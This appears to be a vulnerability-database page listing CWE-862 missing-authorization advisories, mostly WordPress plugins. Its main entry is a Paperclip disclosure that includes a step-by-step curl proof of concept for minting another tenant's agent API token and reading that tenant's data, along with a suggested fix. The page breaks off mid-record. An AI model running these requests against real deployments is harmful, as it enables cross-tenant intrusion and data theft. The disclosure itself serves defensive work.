Common Weakness Enumeration

CWE-862

Allowed-with-Review

Missing Authorization

Abstraction: Class · Status: Incomplete

The product does not perform an authorization check when an actor attempts to access a resource or perform an action.

14929 vulnerabilities reference this CWE, most recent first.

GHSA-47JH-4RFJ-2MWQ

Vulnerability from github – Published: 2025-04-01 21:31 – Updated: 2026-04-01 18:34
VLAI
Details

Missing Authorization vulnerability in SlicedInvoices Sliced Invoices. This issue affects Sliced Invoices: from n/a through 3.9.4.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-31628"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-01T21:15:51Z",
    "severity": "MODERATE"
  },
  "details": "Missing Authorization vulnerability in SlicedInvoices Sliced Invoices. This issue affects Sliced Invoices: from n/a through 3.9.4.",
  "id": "GHSA-47jh-4rfj-2mwq",
  "modified": "2026-04-01T18:34:27Z",
  "published": "2025-04-01T21:31:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-31628"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/sliced-invoices/vulnerability/wordpress-sliced-invoices-plugin-3-9-4-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-47MH-5WHC-8J72

Vulnerability from github – Published: 2026-03-25 18:31 – Updated: 2026-03-26 21:31
VLAI
Details

Missing Authorization vulnerability in Devteam HaywoodTech Product Rearrange for WooCommerce products-rearrange-woocommerce allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Product Rearrange for WooCommerce: from n/a through <= 1.2.2.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-31921"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-25T17:16:58Z",
    "severity": "HIGH"
  },
  "details": "Missing Authorization vulnerability in Devteam HaywoodTech Product Rearrange for WooCommerce products-rearrange-woocommerce allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Product Rearrange for WooCommerce: from n/a through \u003c= 1.2.2.",
  "id": "GHSA-47mh-5whc-8j72",
  "modified": "2026-03-26T21:31:25Z",
  "published": "2026-03-25T18:31:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31921"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Plugin/products-rearrange-woocommerce/vulnerability/wordpress-product-rearrange-for-woocommerce-plugin-1-2-2-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-47MX-MH44-VMWJ

Vulnerability from github – Published: 2026-03-05 06:30 – Updated: 2026-03-05 06:30
VLAI
Details

The Fluent Forms Pro Add On Pack plugin for WordPress is vulnerable to Missing Authorization in all versions up to, and including, 6.1.17. This is due to the deleteFile() method in the Uploader class lacking nonce verification and capability checks. The AJAX action is registered via addPublicAjaxAction() which creates both wp_ajax_ and wp_ajax_nopriv_ hooks. This makes it possible for unauthenticated attackers to delete arbitrary WordPress media attachments via the attachment_id parameter.

Note: The researcher described file deletion via the path parameter using sanitize_file_name(), but the actual code uses Protector::decrypt() for path-based deletion which prevents exploitation. The vulnerability is exploitable via the attachment_id parameter instead.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-2899"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-05T04:15:57Z",
    "severity": "MODERATE"
  },
  "details": "The Fluent Forms Pro Add On Pack plugin for WordPress is vulnerable to Missing Authorization in all versions up to, and including, 6.1.17. This is due to the `deleteFile()` method in the `Uploader` class lacking nonce verification and capability checks. The AJAX action is registered via `addPublicAjaxAction()` which creates both `wp_ajax_` and `wp_ajax_nopriv_` hooks. This makes it possible for unauthenticated attackers to delete arbitrary WordPress media attachments via the `attachment_id` parameter.\n\nNote: The researcher described file deletion via the `path` parameter using `sanitize_file_name()`, but the actual code uses `Protector::decrypt()` for path-based deletion which prevents exploitation. The vulnerability is exploitable via the `attachment_id` parameter instead.",
  "id": "GHSA-47mx-mh44-vmwj",
  "modified": "2026-03-05T06:30:22Z",
  "published": "2026-03-05T06:30:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2899"
    },
    {
      "type": "WEB",
      "url": "https://fluentforms.com/docs/changelog/#3-toc-title"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/bb036338-abd7-4061-835d-038b765c68a6?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-47PJ-XQ28-XXXM

Vulnerability from github – Published: 2026-06-18 06:32 – Updated: 2026-06-18 06:32
VLAI
Details

The Equalize Digital Accessibility Checker – WCAG, ADA, EAA and Section 508 compliance plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 1.42.1. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with author-level access and above, to dismiss, ignore, or restore accessibility audit issue records belonging to posts they are not permitted to edit by supplying an issue from their own post as an authorization token to affect matching issues across the entire site. An Author-level user can exploit this by passing largeBatch=true on a dismiss-issue request referencing one of their own post's issues, causing the handler to bulk-modify all site-wide accessibility issues sharing the same 'object' value — including those belonging to administrator-owned posts.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-9199"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-18T06:16:58Z",
    "severity": "MODERATE"
  },
  "details": "The Equalize Digital Accessibility Checker \u2013 WCAG, ADA, EAA and Section 508 compliance plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 1.42.1. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with author-level access and above, to dismiss, ignore, or restore accessibility audit issue records belonging to posts they are not permitted to edit by supplying an issue from their own post as an authorization token to affect matching issues across the entire site. An Author-level user can exploit this by passing largeBatch=true on a dismiss-issue request referencing one of their own post\u0027s issues, causing the handler to bulk-modify all site-wide accessibility issues sharing the same \u0027object\u0027 value \u2014 including those belonging to administrator-owned posts.",
  "id": "GHSA-47pj-xq28-xxxm",
  "modified": "2026-06-18T06:32:21Z",
  "published": "2026-06-18T06:32:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-9199"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/accessibility-checker/tags/1.39.0/includes/classes/class-rest-api.php#L1232"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/accessibility-checker/tags/1.39.0/includes/classes/class-rest-api.php#L1247"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/accessibility-checker/tags/1.39.0/includes/classes/class-rest-api.php#L349"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/accessibility-checker/tags/1.42.0/includes/classes/class-rest-api.php#L1232"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/accessibility-checker/tags/1.42.0/includes/classes/class-rest-api.php#L1247"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/accessibility-checker/tags/1.42.0/includes/classes/class-rest-api.php#L349"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3553926%40accessibility-checker\u0026new=3553926%40accessibility-checker\u0026sfp_email=\u0026sfph_mail="
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/0e5cc0ce-3785-4240-863e-d1396db6e8ef?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-47Q6-36GC-6PHG

Vulnerability from github – Published: 2024-02-06 00:30 – Updated: 2026-04-08 18:32
VLAI
Details

The 10Web AI Assistant – AI content writing assistant plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the install_plugin AJAX action in all versions up to, and including, 1.0.18. This makes it possible for authenticated attackers, with subscriber-level access and above, to install arbitrary plugins that can be used to gain further access to a compromised site.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-6985"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-02-05T22:15:58Z",
    "severity": "MODERATE"
  },
  "details": "The 10Web AI Assistant \u2013 AI content writing assistant plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the install_plugin AJAX action in all versions up to, and including, 1.0.18. This makes it possible for authenticated attackers, with subscriber-level access and above, to install arbitrary plugins that can be used to gain further access to a compromised site.",
  "id": "GHSA-47q6-36gc-6phg",
  "modified": "2026-04-08T18:32:32Z",
  "published": "2024-02-06T00:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-6985"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3027004/ai-assistant-by-10web/trunk/ai-assistant-by-10web.php"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/229245a5-468d-47b9-8f26-d23d593e91da?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-47R7-422P-6W2P

Vulnerability from github – Published: 2026-06-19 00:31 – Updated: 2026-06-19 00:31
VLAI
Details

An attacker within BLE communication range can monopolize the device's only available BLE connection slot, preventing legitimate users or applications from establishing a connection.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-52866"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-19T00:16:48Z",
    "severity": "HIGH"
  },
  "details": "An attacker within BLE communication range can monopolize the device\u0027s \nonly available BLE connection slot, preventing legitimate users or \napplications from establishing a connection.",
  "id": "GHSA-47r7-422p-6w2p",
  "modified": "2026-06-19T00:31:38Z",
  "published": "2026-06-19T00:31:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-52866"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsma-26-169-01.json"
    },
    {
      "type": "WEB",
      "url": "https://www.apollopharmacy.in/contact-us"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/news-events/ics-medical-advisories/icsma-26-169-01"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/news-events/news/understanding-bluetooth-technology"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-47WQ-CJ9Q-WPMP

Vulnerability from github – Published: 2026-04-16 22:48 – Updated: 2026-04-16 22:48
VLAI
Summary
Paperclip: Cross-tenant agent API token minting via missing assertCompanyAccess on /api/agents/:id/keys
Details

01-setup

Isolated paperclip instance running in authenticated mode (default config) on a clean Docker image matching commit b649bd4 (2026.411.0-canary.8, post the 2026.410.0 patch). This advisory was verified on an unmodified build.

Summary

POST /api/agents/:id/keys, GET /api/agents/:id/keys, and DELETE /api/agents/:id/keys/:keyId (server/src/routes/agents.ts lines 2050-2087) only call assertBoard to authorize the caller. They never call assertCompanyAccess and never verify that the caller is a member of the company that owns the target agent.

Any authenticated board user (including a freshly signed-up account with zero company memberships and no instance_admin role) can mint a plaintext pcp_* agent API token for any agent in any company on the instance. The minted token is bound to the victim agent's companyId server-side, so every downstream assertCompanyAccess check on that token authorizes operations inside the victim tenant.

This is a pure authorization bypass on the core tenancy boundary. It is distinct from GHSA-68qg-g8mg-6pr7 (the unauth import → RCE chain disclosed in 2026.410.0): that advisory fixed one handler, this report is a different handler with the same class of mistake that the 2026.410.0 patch did not cover.

Root Cause

server/src/routes/agents.ts, lines 2050-2087:

router.get("/agents/:id/keys", async (req, res) => {
  assertBoard(req);                             // <-- no assertCompanyAccess
  const id = req.params.id as string;
  const keys = await svc.listKeys(id);
  res.json(keys);
});

router.post("/agents/:id/keys", validate(createAgentKeySchema), async (req, res) => {
  assertBoard(req);                             // <-- no assertCompanyAccess
  const id = req.params.id as string;
  const key = await svc.createApiKey(id, req.body.name);
  ...
  res.status(201).json(key);                    // returns plaintext `token`
});

router.delete("/agents/:id/keys/:keyId", async (req, res) => {
  assertBoard(req);                             // <-- no assertCompanyAccess
  const keyId = req.params.keyId as string;
  const revoked = await svc.revokeKey(keyId);
  ...
});

Compare the handler 12 lines below, router.post("/agents/:id/wakeup"), which shows the correct pattern: it fetches the agent, then calls assertCompanyAccess(req, agent.companyId). The three /keys handlers above do not even fetch the agent.

The token returned by POST /agents/:id/keys is bound to the victim company in server/src/services/agents.ts, lines 580-609:

createApiKey: async (id: string, name: string) => {
  const existing = await getById(id);                 // victim agent
  ...
  const token = createToken();
  const keyHash = hashToken(token);
  const created = await db
    .insert(agentApiKeys)
    .values({
      agentId: id,
      companyId: existing.companyId,                  // <-- victim tenant
      name,
      keyHash,
    })
    .returning()
    .then((rows) => rows[0]);

  return {
    id: created.id,
    name: created.name,
    token,                                            // <-- plaintext returned
    createdAt: created.createdAt,
  };
},

actorMiddleware (server/src/middleware/auth.ts) then resolves the bearer token to actor = { type: "agent", companyId: existing.companyId }, so every subsequent assertCompanyAccess(req, victim.companyId) check passes.

The exact same assertBoard-only pattern is also present on agent lifecycle handlers in the same file (POST /agents/:id/pause, /resume, /terminate, and DELETE /agents/:id at lines 1962, 1985, 2006, 2029). An attacker can terminate, delete, or silently pause any agent in any company with the same primitive.

Trigger Conditions

  1. Paperclip running in authenticated mode (the public, multi-user configuration — PAPERCLIP_DEPLOYMENT_MODE=authenticated).
  2. PAPERCLIP_AUTH_DISABLE_SIGN_UP unset or false (the default — same default precondition as GHSA-68qg-g8mg-6pr7).
  3. At least one other company exists on the instance with at least one agent. In practice this is the normal state of any production paperclip deployment. The attacker needs the victim agent's ID, which leaks through activity feeds, heartbeat run APIs, and the sidebar-badges endpoint that the 2026.410.0 disclosure also flagged as under-protected.

No admin role, no invite, no email verification, no CSRF dance. The attacker is an authenticated browser-session user with zero company memberships.

PoC

Verified against a freshly built ghcr.io/paperclipai/paperclip:latest container at commit b649bd4 (2026.411.0-canary.8, which is post the 2026.410.0 import-bypass patch). Full 5-step reproduction:

02-signup

Step 1-2: Mallory signs up via the default /api/auth/sign-up/email flow (no invite, no verification) and confirms via GET /api/companies that she is a member of zero companies. She has no tenant access through the normal authorization path.

# Step 1: attacker signs up as an unprivileged board user
curl -s -X POST http://<target>:3102/api/auth/sign-up/email \
  -H 'Content-Type: application/json' \
  -d '{"email":"mallory@attacker.com","password":"P@ssw0rd456","name":"mallory"}'
# Save the `better-auth.session_token` cookie from Set-Cookie.

# Step 2: confirm zero company membership
curl -s -H "Cookie: $MALLORY_SESSION" http://<target>:3102/api/companies
# -> []

03-exploit

Step 3 — the vulnerability. Mallory POSTs to /api/agents/:id/keys targeting an agent in Victim Corp (a company she is NOT a member of). The server returns a plaintext pcp_* token tied to the victim's companyId. There is no authorization error. assertBoard passed because Mallory is a board user; assertCompanyAccess was never called.

# Step 3: mint a plaintext token for a victim agent
VICTIM_AGENT=<any-agent-id-in-another-company>
curl -s -X POST \
  -H "Cookie: $MALLORY_SESSION" \
  -H "Origin: http://<target>:3102" \
  -H "Content-Type: application/json" \
  -d '{"name":"pwnkit"}' \
  http://<target>:3102/api/agents/$VICTIM_AGENT/keys
# -> 201 { "id":"...", "token":"pcp_8be3a5198e9ccba0ac7b3341395b2d3145fe2caa1b800e25", ... }

04-exfil

Step 4-5: Use the stolen token as a Bearer credential. actorMiddleware resolves it to actor = { type: "agent", companyId: VICTIM }, so every downstream assertCompanyAccess gate authorizes reads against Victim Corp. Mallory can now enumerate the victim's company metadata, issues, approvals, and agent configuration — none of which she had access to 30 seconds ago.

# Step 4: use the stolen token to read victim company data
STOLEN=pcp_8be3a5198e9ccba0ac7b3341395b2d3145fe2caa1b800e25
VICTIM_CO=<victim-company-id>
curl -s -H "Authorization: Bearer $STOLEN" \
  http://<target>:3102/api/companies/$VICTIM_CO
# -> 200 { "id":"...", "name":"Victim Corp", ... }

curl -s -H "Authorization: Bearer $STOLEN" \
  http://<target>:3102/api/companies/$VICTIM_CO/issues
# -> 200 [ ...every issue in the victim tenant... ]

curl -s -H "Authorization: Bearer $STOLEN" \
  http://<target>:3102/api/companies/$VICTIM_CO/approvals
# -> 200 [ ...every approval in the victim tenant... ]

curl -s -H "Authorization: Bearer $STOLEN" \
  http://<target>:3102/api/agents/$VICTIM_AGENT
# -> 200 { ...full agent config incl. adapter settings... }

Observed outputs (all verified on live instance at time of submission):

  • POST /api/agents/:id/keys201 with plaintext token bound to the victim's companyId
  • GET /api/companies/:victimId200 full company metadata
  • GET /api/companies/:victimId/issues200 issue list
  • GET /api/companies/:victimId/agents200 agent list
  • GET /api/companies/:victimId/approvals200 approval list

Impact

  • Type: Broken access control / cross-tenant IDOR (CWE-285, CWE-639, CWE-862, CWE-1220)
  • Who is impacted: every paperclip instance running in authenticated mode with default PAPERCLIP_AUTH_DISABLE_SIGN_UP (open signup). That is the documented multi-user configuration and the default in docker/docker-compose.quickstart.yml.
  • Confidentiality: HIGH. Any signed-up user can read another tenant's company metadata, issues, approvals, runs, and agent configuration (which includes adapter URLs, model settings, and references to stored secret bindings).
  • Integrity: HIGH. The minted token is a persistent agent credential that authenticates for every assertCompanyAccess-gated agent-scoped mutation in the victim tenant (issue/run updates, self-wakeup with attacker-controlled payloads, adapter execution via the agent's own adapter, etc.).
  • Availability: HIGH. The attacker can pause, terminate, or DELETE any agent in any company via the sibling assertBoard-only handlers (/agents/:id/pause, /resume, /terminate, DELETE /agents/:id).
  • Relation to GHSA-68qg-g8mg-6pr7: the 2026.410.0 patch added assertInstanceAdmin on POST /companies/import and closed the disclosed chain, but the same root cause (assertBoard treated as sufficient where assertCompanyAccess is required on a cross-tenant resource, or where assertInstanceAdmin is required on an instance-global resource) is present in multiple other handlers. The import fix did not audit sibling routes. This report is an instance of that same class the prior advisory did not cover.

Severity is driven by the fact that every precondition is default, the bug is reachable by any signed-up user with zero memberships, and the stolen token persists across sessions until manually revoked.

Suggested Fix

In server/src/routes/agents.ts, replace each of the three /keys handlers so they load the target agent first and enforce company access:

router.get("/agents/:id/keys", async (req, res) => {
  assertBoard(req);
  const id = req.params.id as string;
  const agent = await svc.getById(id);
  if (!agent) {
    res.status(404).json({ error: "Agent not found" });
    return;
  }
  assertCompanyAccess(req, agent.companyId);
  const keys = await svc.listKeys(id);
  res.json(keys);
});

router.post("/agents/:id/keys", validate(createAgentKeySchema), async (req, res) => {
  assertBoard(req);
  const id = req.params.id as string;
  const agent = await svc.getById(id);
  if (!agent) {
    res.status(404).json({ error: "Agent not found" });
    return;
  }
  assertCompanyAccess(req, agent.companyId);
  const key = await svc.createApiKey(id, req.body.name);
  ...
});

router.delete("/agents/:id/keys/:keyId", async (req, res) => {
  assertBoard(req);
  const keyId = req.params.keyId as string;
  // Look up the key to find its agentId/companyId, then:
  const key = await svc.getKeyById(keyId);
  if (!key) { res.status(404).json({ error: "Key not found" }); return; }
  assertCompanyAccess(req, key.companyId);
  await svc.revokeKey(keyId);
  res.json({ ok: true });
});

While fixing this, audit the sibling lifecycle handlers at lines 1962-2048 (/agents/:id/pause, /resume, /terminate, DELETE /agents/:id) which share the same bug.

Defense in depth: consider a code-wide sweep for assertBoard(req) calls that are not immediately followed by assertCompanyAccess or assertInstanceAdmin — the 2026.410.0 patch focused on one handler but the pattern is systemic.

Patch Status

  • Latest image at time of writing: ghcr.io/paperclipai/paperclip:latest digest sha256:baa9926e..., commit b649bd4 (canary/v2026.411.0-canary.8), which is after the 2026.410.0 import bypass fix.
  • The bug is still present on that revision. PoC reproduced end-to-end against an unmodified container.

Credits

Discovered by pwnkit, an AI-assisted security scanner, during variant-hunt analysis of GHSA-68qg-g8mg-6pr7. Manually verified against a live isolated paperclip instance.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@paperclipai/server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.416.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-1220",
      "CWE-285",
      "CWE-639",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-16T22:48:32Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "\u003cimg width=\"7007\" height=\"950\" alt=\"01-setup\" src=\"https://github.com/user-attachments/assets/1596b8d1-8de5-4c21-b1d2-2db41b568d7e\" /\u003e\n\n\u003e Isolated paperclip instance running in authenticated mode (default config)\n\u003e on a clean Docker image matching commit b649bd4 (2026.411.0-canary.8, post\n\u003e the 2026.410.0 patch). This advisory was verified on an unmodified build.\n\n### Summary\n\n`POST /api/agents/:id/keys`, `GET /api/agents/:id/keys`, and\n`DELETE /api/agents/:id/keys/:keyId` (`server/src/routes/agents.ts`\nlines 2050-2087) only call `assertBoard` to authorize the caller. They never\ncall `assertCompanyAccess` and never verify that the caller is a member of the\ncompany that owns the target agent.\n\nAny authenticated board user (including a freshly signed-up account with zero\ncompany memberships and no `instance_admin` role) can mint a plaintext\n`pcp_*` agent API token for any agent in any company on the instance. The\nminted token is bound to the **victim** agent\u0027s `companyId` server-side, so\nevery downstream `assertCompanyAccess` check on that token authorizes\noperations inside the victim tenant.\n\nThis is a pure authorization bypass on the core tenancy boundary. It is\ndistinct from GHSA-68qg-g8mg-6pr7 (the unauth import \u2192 RCE chain disclosed in\n2026.410.0): that advisory fixed one handler, this report is a different\nhandler with the same class of mistake that the 2026.410.0 patch did not\ncover.\n\n### Root Cause\n\n`server/src/routes/agents.ts`, lines 2050-2087:\n\n```ts\nrouter.get(\"/agents/:id/keys\", async (req, res) =\u003e {\n  assertBoard(req);                             // \u003c-- no assertCompanyAccess\n  const id = req.params.id as string;\n  const keys = await svc.listKeys(id);\n  res.json(keys);\n});\n\nrouter.post(\"/agents/:id/keys\", validate(createAgentKeySchema), async (req, res) =\u003e {\n  assertBoard(req);                             // \u003c-- no assertCompanyAccess\n  const id = req.params.id as string;\n  const key = await svc.createApiKey(id, req.body.name);\n  ...\n  res.status(201).json(key);                    // returns plaintext `token`\n});\n\nrouter.delete(\"/agents/:id/keys/:keyId\", async (req, res) =\u003e {\n  assertBoard(req);                             // \u003c-- no assertCompanyAccess\n  const keyId = req.params.keyId as string;\n  const revoked = await svc.revokeKey(keyId);\n  ...\n});\n```\n\nCompare the handler 12 lines below, `router.post(\"/agents/:id/wakeup\")`,\nwhich shows the correct pattern: it fetches the agent, then calls\n`assertCompanyAccess(req, agent.companyId)`. The three `/keys` handlers above\ndo not even fetch the agent.\n\nThe token returned by `POST /agents/:id/keys` is bound to the **victim**\ncompany in `server/src/services/agents.ts`, lines 580-609:\n\n```ts\ncreateApiKey: async (id: string, name: string) =\u003e {\n  const existing = await getById(id);                 // victim agent\n  ...\n  const token = createToken();\n  const keyHash = hashToken(token);\n  const created = await db\n    .insert(agentApiKeys)\n    .values({\n      agentId: id,\n      companyId: existing.companyId,                  // \u003c-- victim tenant\n      name,\n      keyHash,\n    })\n    .returning()\n    .then((rows) =\u003e rows[0]);\n\n  return {\n    id: created.id,\n    name: created.name,\n    token,                                            // \u003c-- plaintext returned\n    createdAt: created.createdAt,\n  };\n},\n```\n\n`actorMiddleware` (`server/src/middleware/auth.ts`) then resolves the bearer\ntoken to `actor = { type: \"agent\", companyId: existing.companyId }`, so every\nsubsequent `assertCompanyAccess(req, victim.companyId)` check passes.\n\nThe exact same `assertBoard`-only pattern is also present on agent lifecycle\nhandlers in the same file (`POST /agents/:id/pause`, `/resume`, `/terminate`,\nand `DELETE /agents/:id` at lines 1962, 1985, 2006, 2029). An attacker can\nterminate, delete, or silently pause any agent in any company with the same\nprimitive.\n\n### Trigger Conditions\n\n1. Paperclip running in `authenticated` mode (the public, multi-user\n   configuration \u2014 `PAPERCLIP_DEPLOYMENT_MODE=authenticated`).\n2. `PAPERCLIP_AUTH_DISABLE_SIGN_UP` unset or false (the default \u2014 same\n   default precondition as GHSA-68qg-g8mg-6pr7).\n3. At least one other company exists on the instance with at least one\n   agent. In practice this is the normal state of any production paperclip\n   deployment. The attacker needs the victim agent\u0027s ID, which leaks through\n   activity feeds, heartbeat run APIs, and the sidebar-badges endpoint that\n   the 2026.410.0 disclosure also flagged as under-protected.\n\nNo admin role, no invite, no email verification, no CSRF dance. The attacker\nis an authenticated browser-session user with zero company memberships.\n\n### PoC\n\nVerified against a freshly built `ghcr.io/paperclipai/paperclip:latest`\ncontainer at commit `b649bd4` (2026.411.0-canary.8, which is **post** the\n2026.410.0 import-bypass patch). Full 5-step reproduction:\n\n\u003cimg width=\"5429\" height=\"1448\" alt=\"02-signup\" src=\"https://github.com/user-attachments/assets/4c2b2939-326b-4e0d-aa01-05e22851486b\" /\u003e\n\u003e Step 1-2: Mallory signs up via the default `/api/auth/sign-up/email` flow\n\u003e (no invite, no verification) and confirms via `GET /api/companies` that she\n\u003e is a member of zero companies. She has no tenant access through the normal\n\u003e authorization path.\n\n```bash\n# Step 1: attacker signs up as an unprivileged board user\ncurl -s -X POST http://\u003ctarget\u003e:3102/api/auth/sign-up/email \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"email\":\"mallory@attacker.com\",\"password\":\"P@ssw0rd456\",\"name\":\"mallory\"}\u0027\n# Save the `better-auth.session_token` cookie from Set-Cookie.\n\n# Step 2: confirm zero company membership\ncurl -s -H \"Cookie: $MALLORY_SESSION\" http://\u003ctarget\u003e:3102/api/companies\n# -\u003e []\n```\n\n\u003cimg width=\"2891\" height=\"1697\" alt=\"03-exploit\" src=\"https://github.com/user-attachments/assets/c097e861-6bc9-4f6a-841c-b45501e27849\" /\u003e\n\u003e Step 3 \u2014 the vulnerability. Mallory POSTs to `/api/agents/:id/keys`\n\u003e targeting an agent in Victim Corp (a company she is NOT a member of). The\n\u003e server returns a plaintext `pcp_*` token tied to the victim\u0027s `companyId`.\n\u003e There is no authorization error. `assertBoard` passed because Mallory is a\n\u003e board user; `assertCompanyAccess` was never called.\n\n```bash\n# Step 3: mint a plaintext token for a victim agent\nVICTIM_AGENT=\u003cany-agent-id-in-another-company\u003e\ncurl -s -X POST \\\n  -H \"Cookie: $MALLORY_SESSION\" \\\n  -H \"Origin: http://\u003ctarget\u003e:3102\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"name\":\"pwnkit\"}\u0027 \\\n  http://\u003ctarget\u003e:3102/api/agents/$VICTIM_AGENT/keys\n# -\u003e 201 { \"id\":\"...\", \"token\":\"pcp_8be3a5198e9ccba0ac7b3341395b2d3145fe2caa1b800e25\", ... }\n```\n\n\u003cimg width=\"2983\" height=\"2009\" alt=\"04-exfil\" src=\"https://github.com/user-attachments/assets/ede5d469-4119-432c-b0ae-5a4fabc9a56b\" /\u003e\n\u003e Step 4-5: Use the stolen token as a Bearer credential. `actorMiddleware`\n\u003e resolves it to `actor = { type: \"agent\", companyId: VICTIM }`, so every\n\u003e downstream `assertCompanyAccess` gate authorizes reads against Victim Corp.\n\u003e Mallory can now enumerate the victim\u0027s company metadata, issues, approvals,\n\u003e and agent configuration \u2014 none of which she had access to 30 seconds ago.\n\n```bash\n# Step 4: use the stolen token to read victim company data\nSTOLEN=pcp_8be3a5198e9ccba0ac7b3341395b2d3145fe2caa1b800e25\nVICTIM_CO=\u003cvictim-company-id\u003e\ncurl -s -H \"Authorization: Bearer $STOLEN\" \\\n  http://\u003ctarget\u003e:3102/api/companies/$VICTIM_CO\n# -\u003e 200 { \"id\":\"...\", \"name\":\"Victim Corp\", ... }\n\ncurl -s -H \"Authorization: Bearer $STOLEN\" \\\n  http://\u003ctarget\u003e:3102/api/companies/$VICTIM_CO/issues\n# -\u003e 200 [ ...every issue in the victim tenant... ]\n\ncurl -s -H 